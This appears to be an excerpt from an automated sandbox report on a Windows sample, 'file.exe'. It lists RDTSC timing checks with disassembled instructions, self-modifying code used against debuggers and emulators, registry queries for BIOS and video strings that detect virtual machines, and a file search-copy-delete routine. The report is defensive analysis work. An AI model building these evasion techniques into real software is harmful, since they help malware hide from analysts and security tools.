Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F8E46 second address: 4F8E59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnl 00007F25EC6CB8E6h 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push esi 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F8E59 second address: 4F8E5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F876E second address: 4F8774 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F8774 second address: 4F8785 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push esi 0x00000006 pushad 0x00000007 popad 0x00000008 pop esi 0x00000009 jg 00007F25ED41A9ECh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 447E48 second address: 447E53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F25EC6CB8E6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502331 second address: 502341 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push esi 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jnp 00007F25ED41A9E6h 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502636 second address: 50267F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F25EC6CB8F5h 0x0000000d push esi 0x0000000e jmp 00007F25EC6CB8F3h 0x00000013 pop esi 0x00000014 popad 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F25EC6CB8F1h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50267F second address: 502683 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5027E6 second address: 5027EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5027EA second address: 5027F0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502A92 second address: 502A9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502A9C second address: 502AB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F25ED41A9ECh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503369 second address: 50336D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503A4D second address: 503A51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503A51 second address: 503A55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503A55 second address: 503A7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F25ED41A9F8h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f jc 00007F25ED41A9E6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503A7D second address: 503A89 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503A89 second address: 503AAA instructions: 0x00000000 rdtsc 0x00000002 jc 00007F25ED41A9E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F25ED41A9F1h 0x00000013 push edx 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 509E1D second address: 509E23 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 509E23 second address: 509E28 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51168F second address: 511695 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511695 second address: 5116B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F25ED41A9F4h 0x0000000d jc 00007F25ED41A9E6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5116B7 second address: 5116C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F25EC6CB8EEh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5116C9 second address: 5116D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5116D3 second address: 5116DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F25EC6CB8E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5116DD second address: 511718 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F25ED41A9F3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F25ED41A9F8h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pushad 0x00000013 popad 0x00000014 push edx 0x00000015 pop edx 0x00000016 pop esi 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 511718 second address: 51171F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51171F second address: 511726 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 519261 second address: 519267 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 519267 second address: 51926B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51926B second address: 51926F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51CF50 second address: 51CF5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F25ED41A9E6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 451DF1 second address: 451DF8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 451DF8 second address: 451E03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ecx 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C5B6 second address: 52C5C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F25EC6CB8EAh 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C5C6 second address: 52C5CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 537C59 second address: 537C5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 537C5D second address: 537C72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F25ED41A9EFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 537C72 second address: 537CC1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F25EC6CB8F4h 0x00000007 jmp 00007F25EC6CB8F1h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F25EC6CB8F7h 0x00000015 jmp 00007F25EC6CB8EDh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53666C second address: 536687 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F25ED41A9EDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jg 00007F25ED41A9E6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53680C second address: 53681A instructions: 0x00000000 rdtsc 0x00000002 js 00007F25EC6CB8E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53681A second address: 536824 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 536963 second address: 53697F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F25EC6CB8F5h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 536EF8 second address: 536EFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 536EFC second address: 536F13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F25EC6CB8E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jp 00007F25EC6CB8E8h 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53792A second address: 537930 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 537930 second address: 537936 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 537936 second address: 53793F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53793F second address: 537974 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F25EC6CB8F4h 0x00000007 jmp 00007F25EC6CB8EAh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jno 00007F25EC6CB8ECh 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 537974 second address: 537978 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 537978 second address: 53799D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F25EC6CB8EBh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F25EC6CB8F4h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53799D second address: 5379A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5379A4 second address: 5379AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5379AA second address: 5379B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007F25ED41A9EEh 0x0000000b push esi 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C2F4 second address: 53C2F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C2F8 second address: 53C2FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C2FC second address: 53C308 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F25EC6CB8E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C308 second address: 53C30E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C30E second address: 53C314 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C314 second address: 53C318 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53DF05 second address: 53DF23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F25EC6CB8F8h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5593EB second address: 5593F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 558F2B second address: 558F2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 558F2F second address: 558F35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5590AA second address: 5590B8 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F25EC6CB8E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5590B8 second address: 5590D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F25ED41A9F9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5590D5 second address: 559118 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jl 00007F25EC6CB8E6h 0x0000000d pop esi 0x0000000e push edi 0x0000000f jmp 00007F25EC6CB8EFh 0x00000014 pop edi 0x00000015 popad 0x00000016 pushad 0x00000017 jc 00007F25EC6CB8FCh 0x0000001d jmp 00007F25EC6CB8F6h 0x00000022 push eax 0x00000023 push edx 0x00000024 push edi 0x00000025 pop edi 0x00000026 push eax 0x00000027 pop eax 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 568863 second address: 568867 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 568867 second address: 56886B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56886B second address: 568871 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 568AFB second address: 568AFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 568AFF second address: 568B0F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007F25ED41A9E6h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 568B0F second address: 568B13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 568B13 second address: 568B19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5694B3 second address: 5694BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5694BC second address: 5694C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56C123 second address: 56C127 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56C127 second address: 56C12D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56C288 second address: 56C2A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F25EC6CB8EEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e ja 00007F25EC6CB8E6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56C2A5 second address: 56C2A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56C341 second address: 56C3AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 nop 0x00000006 movsx edx, di 0x00000009 push 00000004h 0x0000000b add edx, 0BFABC00h 0x00000011 call 00007F25EC6CB8E9h 0x00000016 jmp 00007F25EC6CB8F4h 0x0000001b push eax 0x0000001c pushad 0x0000001d jmp 00007F25EC6CB8F0h 0x00000022 jnl 00007F25EC6CB8E8h 0x00000028 popad 0x00000029 mov eax, dword ptr [esp+04h] 0x0000002d jmp 00007F25EC6CB8F7h 0x00000032 mov eax, dword ptr [eax] 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 push ebx 0x00000039 pop ebx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56C3AD second address: 56C3B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56C3B1 second address: 56C3B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56C3B7 second address: 56C3BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56C3BD second address: 56C3D2 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F25EC6CB8E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56C3D2 second address: 56C3D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56C5D9 second address: 56C5DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56D848 second address: 56D84D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56D84D second address: 56D859 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F25EC6CB8E6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 570EA1 second address: 570EB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jp 00007F25ED41A9E6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 570EB2 second address: 570EB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD02DC second address: 4BD02E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD02E0 second address: 4BD02E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD02E6 second address: 4BD0303 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F25ED41A9F9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BD0388 second address: 4BD0410 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F25EC6CB8F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c pushad 0x0000000d push ecx 0x0000000e pushfd 0x0000000f jmp 00007F25EC6CB8F3h 0x00000014 jmp 00007F25EC6CB8F3h 0x00000019 popfd 0x0000001a pop eax 0x0000001b movsx edi, si 0x0000001e popad 0x0000001f mov ebp, esp 0x00000021 pushad 0x00000022 movzx ecx, di 0x00000025 pushfd 0x00000026 jmp 00007F25EC6CB8F3h 0x0000002b sub eax, 6D8EF4CEh 0x00000031 jmp 00007F25EC6CB8F9h 0x00000036 popfd 0x00000037 popad 0x00000038 pop ebp 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c mov bh, cl 0x0000003e rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 2E1B12 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 4AF71C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 49A412 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 50CCFF instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000938B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_000938B0
